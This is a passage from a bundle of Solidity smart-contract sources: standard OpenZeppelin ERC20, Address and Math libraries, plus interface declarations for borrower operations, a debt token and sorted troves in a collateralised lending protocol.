We use {Address-functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n require(returndata.length == 0 || abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n *\n * This is a variant of {_callOptionalReturn} that silents catches all reverts and returns a bool instead.\n */\n function _callOptionalReturnBool(IERC20 token, bytes memory data) private returns (bool) {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We cannot use {Address-functionCall} here since this should return false\n // and not revert is the subcall reverts.\n\n (bool success, bytes memory returndata) = address(token).call(data);\n return\n success && (returndata.length == 0 || abi.decode(returndata, (bool))) && Address.isContract(address(token));\n }\n}\n"
},
"contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 amount) external returns (bool);\n}\n"
},
"contracts/token/ERC20/extensions/IERC20Permit.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/extensions/IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n */\ninterface IERC20Permit {\n /**\n * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n * given ``owner``'s signed approval.\n *\n * IMPORTANT: The same issues {IERC20-approve} has related to transaction\n * ordering also apply here.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n *\n * For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n */\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n /**\n * @dev Returns the current nonce for `owner`. This value must be\n * included whenever a signature is generated for {permit}.\n *\n * Every successful call to {permit} increases ``owner``'s nonce by one. This\n * prevents a signature from being used multiple times.\n */\n function nonces(address owner) external view returns (uint256);\n\n /**\n * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n */\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n"
},
"contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n *\n * Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"contracts/utils/math/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/math/Math.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard math utilities missing in the Solidity language.\n */\nlibrary Math {\n enum Rounding {\n Down, // Toward negative infinity\n Up, // Toward infinity\n Zero // Toward zero\n }\n\n /**\n * @dev Returns the largest of two numbers.\n */\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two numbers.\n */\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two numbers. The result is rounded towards\n * zero.\n */\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b) / 2 can overflow.\n return (a & b) + (a ^ b) / 2;\n }\n\n /**\n * @dev Returns the ceiling of the division of two numbers.\n *\n * This differs from standard division with `/` in that it rounds up instead\n * of rounding down.\n */\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n /**\n * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)\n * with further edits by Uniswap Labs also under MIT license.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {\n unchecked {\n // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use\n // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2^256 + prod0.\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(x, y, not(0))\n prod0 := mul(x, y)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division.\n if (prod1 == 0) {\n // Solidity will revert if denominator == 0, unlike the div opcode on its own.\n // The surrounding unchecked block does not change this fact.\n // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.\n return prod0 / denominator;\n }\n\n // Make sure the result is less than 2^256. Also prevents denominator == 0.\n require(denominator > prod1, \"Math: mulDiv overflow\");\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0].\n uint256 remainder;\n assembly {\n // Compute remainder using mulmod.\n remainder := mulmod(x, y, denominator)\n\n // Subtract 256 bit number from 512 bit number.\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.\n // See https://cs.stackexchange.com/q/138556/92363.\n\n // Does not overflow because the denominator cannot be zero at this stage in the function.\n uint256 twos = denominator & (~denominator + 1);\n assembly {\n // Divide denominator by twos.\n denominator := div(denominator, twos)\n\n // Divide [prod1 prod0] by twos.\n prod0 := div(prod0, twos)\n\n // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n // Shift in bits from prod1 into prod0.\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such\n // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for\n // four bits. That is, denominator * inv = 1 mod 2^4.\n uint256 inverse = (3 * denominator) ^ 2;\n\n // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works\n // in modular arithmetic, doubling the correct bits in each step.\n inverse *= 2 - denominator * inverse; // inverse mod 2^8\n inverse *= 2 - denominator * inverse; // inverse mod 2^16\n inverse *= 2 - denominator * inverse; // inverse mod 2^32\n inverse *= 2 - denominator * inverse; // inverse mod 2^64\n inverse *= 2 - denominator * inverse; // inverse mod 2^128\n inverse *= 2 - denominator * inverse; // inverse mod 2^256\n\n // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.\n // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is\n // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inverse;\n return result;\n }\n }\n\n /**\n * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n return result;\n }\n\n /**\n * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.\n *\n * Inspired by Henry S. Warren, Jr.'s \"Hacker's Delight\" (Chapter 11).\n */\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.\n //\n // We know that the \"msb\" (most significant bit) of our target number `a` is a power of 2 such that we have\n // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.\n //\n // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`\n // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`\n // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`\n //\n // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.\n uint256 result = 1 << (log2(a) >> 1);\n\n // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,\n // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at\n // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision\n // into the expected uint128 result.\n unchecked {\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n return min(result, a / result);\n }\n }\n\n /**\n * @notice Calculates sqrt(a), following the selected rounding direction.\n */\n function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 2, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 128;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 64;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 32;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 16;\n }\n if (value >> 8 > 0) {\n value >>= 8;\n result += 8;\n }\n if (value >> 4 > 0) {\n value >>= 4;\n result += 4;\n }\n if (value >> 2 > 0) {\n value >>= 2;\n result += 2;\n }\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 2, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 10, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n result += 64;\n }\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n result += 32;\n }\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n result += 16;\n }\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n result += 8;\n }\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n result += 4;\n }\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n result += 2;\n }\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 256, rounded down, of a positive value.\n * Returns 0 if given 0.\n *\n * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.\n */\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 16;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 8;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 4;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 2;\n }\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 256, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n}\n"
},
"contracts/interfaces/IBorrowerOperations.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IBorrowerOperations {\n struct Balances {\n uint256[] collaterals;\n uint256[] debts;\n uint256[] prices;\n }\n\n event BorrowingFeePaid(address indexed borrower, uint256 amount);\n event CollateralConfigured(address troveManager, address collateralToken);\n event TroveCreated(address indexed _borrower, uint256 arrayIndex);\n event TroveManagerRemoved(address troveManager);\n event TroveUpdated(address indexed _borrower, uint256 _debt, uint256 _coll, uint256 stake, uint8 operation);\n\n function addColl(\n address troveManager,\n address account,\n uint256 _collateralAmount,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function adjustTrove(\n address troveManager,\n address account,\n uint256 _maxFeePercentage,\n uint256 _collDeposit,\n uint256 _collWithdrawal,\n uint256 _debtChange,\n bool _isDebtIncrease,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function closeTrove(address troveManager, address account) external;\n\n function configureCollateral(address troveManager, address collateralToken) external;\n\n function fetchBalances() external returns (Balances memory balances);\n\n function getGlobalSystemBalances() external returns (uint256 totalPricedCollateral, uint256 totalDebt);\n\n function getTCR() external returns (uint256 globalTotalCollateralRatio);\n\n function openTrove(\n address troveManager,\n address account,\n uint256 _maxFeePercentage,\n uint256 _collateralAmount,\n uint256 _debtAmount,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function removeTroveManager(address troveManager) external;\n\n function repayDebt(\n address troveManager,\n address account,\n uint256 _debtAmount,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function setDelegateApproval(address _delegate, bool _isApproved) external;\n\n function setMinNetDebt(uint256 _minNetDebt) external;\n\n function withdrawColl(\n address troveManager,\n address account,\n uint256 _collWithdrawal,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function withdrawDebt(\n address troveManager,\n address account,\n uint256 _maxFeePercentage,\n uint256 _debtAmount,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function checkRecoveryMode(uint256 TCR) external pure returns (bool);\n\n function CCR() external view returns (uint256);\n\n function DEBT_GAS_COMPENSATION() external view returns (uint256);\n\n function DECIMAL_PRECISION() external view returns (uint256);\n\n function PERCENT_DIVISOR() external view returns (uint256);\n\n function PRISMA_CORE() external view returns (address);\n\n function _100pct() external view returns (uint256);\n\n function debtToken() external view returns (address);\n\n function factory() external view returns (address);\n\n function getCompositeDebt(uint256 _debt) external view returns (uint256);\n\n function guardian() external view returns (address);\n\n function isApprovedDelegate(address owner, address caller) external view returns (bool isApproved);\n\n function minNetDebt() external view returns (uint256);\n\n function owner() external view returns (address);\n\n function troveManagersData(address) external view returns (address collateralToken, uint16 index);\n}\n"
},
"contracts/interfaces/IDebtToken.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IDebtToken {\n event Approval(address indexed owner, address indexed spender, uint256 value);\n event MessageFailed(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes _payload, bytes _reason);\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n event ReceiveFromChain(uint16 indexed _srcChainId, address indexed _to, uint256 _amount);\n event RetryMessageSuccess(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes32 _payloadHash);\n event SendToChain(uint16 indexed _dstChainId, address indexed _from, bytes _toAddress, uint256 _amount);\n event SetMinDstGas(uint16 _dstChainId, uint16 _type, uint256 _minDstGas);\n event SetPrecrime(address precrime);\n event SetTrustedRemote(uint16 _remoteChainId, bytes _path);\n event SetTrustedRemoteAddress(uint16 _remoteChainId, bytes _remoteAddress);\n event SetUseCustomAdapterParams(bool _useCustomAdapterParams);\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function burn(address _account, uint256 _amount) external;\n\n function burnWithGasCompensation(address _account, uint256 _amount) external returns (bool);\n\n function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);\n\n function enableTroveManager(address _troveManager) external;\n\n function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external returns (bool);\n\n function forceResumeReceive(uint16 _srcChainId, bytes calldata _srcAddress) external;\n\n function increaseAllowance(address spender, uint256 addedValue) external returns (bool);\n\n function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress, uint64 _nonce, bytes calldata _payload) external;\n\n function mint(address _account, uint256 _amount) external;\n\n function mintWithGasCompensation(address _account, uint256 _amount) external returns (bool);\n\n function nonblockingLzReceive(\n uint16 _srcChainId,\n bytes calldata _srcAddress,\n uint64 _nonce,\n bytes calldata _payload\n ) external;\n\n function permit(\n address owner,\n address spender,\n uint256 amount,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n function renounceOwnership() external;\n\n function returnFromPool(address _poolAddress, address _receiver, uint256 _amount) external;\n\n function sendToSP(address _sender, uint256 _amount) external;\n\n function setConfig(uint16 _version, uint16 _chainId, uint256 _configType, bytes calldata _config) external;\n\n function setMinDstGas(uint16 _dstChainId, uint16 _packetType, uint256 _minGas) external;\n\n function setPayloadSizeLimit(uint16 _dstChainId, uint256 _size) external;\n\n function setPrecrime(address _precrime) external;\n\n function setReceiveVersion(uint16 _version) external;\n\n function setSendVersion(uint16 _version) external;\n\n function setTrustedRemote(uint16 _srcChainId, bytes calldata _path) external;\n\n function setTrustedRemoteAddress(uint16 _remoteChainId, bytes calldata _remoteAddress) external;\n\n function setUseCustomAdapterParams(bool _useCustomAdapterParams) external;\n\n function transfer(address recipient, uint256 amount) external returns (bool);\n\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n\n function transferOwnership(address newOwner) external;\n\n function retryMessage(\n uint16 _srcChainId,\n bytes calldata _srcAddress,\n uint64 _nonce,\n bytes calldata _payload\n ) external payable;\n\n function sendFrom(\n address _from,\n uint16 _dstChainId,\n bytes calldata _toAddress,\n uint256 _amount,\n address _refundAddress,\n address _zroPaymentAddress,\n bytes calldata _adapterParams\n ) external payable;\n\n function DEBT_GAS_COMPENSATION() external view returns (uint256);\n\n function DEFAULT_PAYLOAD_SIZE_LIMIT() external view returns (uint256);\n\n function FLASH_LOAN_FEE() external view returns (uint256);\n\n function NO_EXTRA_GAS() external view returns (uint256);\n\n function PT_SEND() external view returns (uint16);\n\n function allowance(address owner, address spender) external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function borrowerOperationsAddress() external view returns (address);\n\n function circulatingSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function domainSeparator() external view returns (bytes32);\n\n function estimateSendFee(\n uint16 _dstChainId,\n bytes calldata _toAddress,\n uint256 _amount,\n bool _useZro,\n bytes calldata _adapterParams\n ) external view returns (uint256 nativeFee, uint256 zroFee);\n\n function factory() external view returns (address);\n\n function failedMessages(uint16, bytes calldata, uint64) external view returns (bytes32);\n\n function flashFee(address token, uint256 amount) external view returns (uint256);\n\n function gasPool() external view returns (address);\n\n function getConfig(\n uint16 _version,\n uint16 _chainId,\n address,\n uint256 _configType\n ) external view returns (bytes memory);\n\n function getTrustedRemoteAddress(uint16 _remoteChainId) external view returns (bytes memory);\n\n function isTrustedRemote(uint16 _srcChainId, bytes calldata _srcAddress) external view returns (bool);\n\n function lzEndpoint() external view returns (address);\n\n function maxFlashLoan(address token) external view returns (uint256);\n\n function minDstGasLookup(uint16, uint16) external view returns (uint256);\n\n function name() external view returns (string memory);\n\n function nonces(address owner) external view returns (uint256);\n\n function owner() external view returns (address);\n\n function payloadSizeLimitLookup(uint16) external view returns (uint256);\n\n function permitTypeHash() external view returns (bytes32);\n\n function precrime() external view returns (address);\n\n function stabilityPoolAddress() external view returns (address);\n\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n\n function symbol() external view returns (string memory);\n\n function token() external view returns (address);\n\n function totalSupply() external view returns (uint256);\n\n function troveManager(address) external view returns (bool);\n\n function trustedRemoteLookup(uint16) external view returns (bytes memory);\n\n function useCustomAdapterParams() external view returns (bool);\n\n function version() external view returns (string memory);\n}\n"
},
"contracts/interfaces/ISortedTroves.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ISortedTroves {\n event NodeAdded(address _id, uint256 _NICR);\n event NodeRemoved(address _id);\n\n function insert(address _id, uint256 _NICR, address _prevId, address _nextId) external;\n\n function reInsert(address _id, uint256 _newNICR, address _prevId, address _nextId) external;\n\n function remove(address _id) external;\n\n function setAddresses(address _troveManagerAddress) external;\n\n function contains(address _id) external view returns (bool);\n\n function data() external view returns (address head, address tail, uint256 size);\n\n function findInsertPosition(\n uint256 _NICR,\n address _prevId,\n address _nextId\n ) external view returns (address, address);\n\n function getFirst() external view returns (address);\n\n function getLast() external view returns (address);\n\n function getNext(address _id) external view returns (address);\n\n function getPrev(address _id) external view returns (address);\n\n function getSize() external view returns (uint256);\n\n function isEmpty() external view returns (bool);\n\n function troveManager() external view returns (address);\n\n function validInsertPosition(uint256 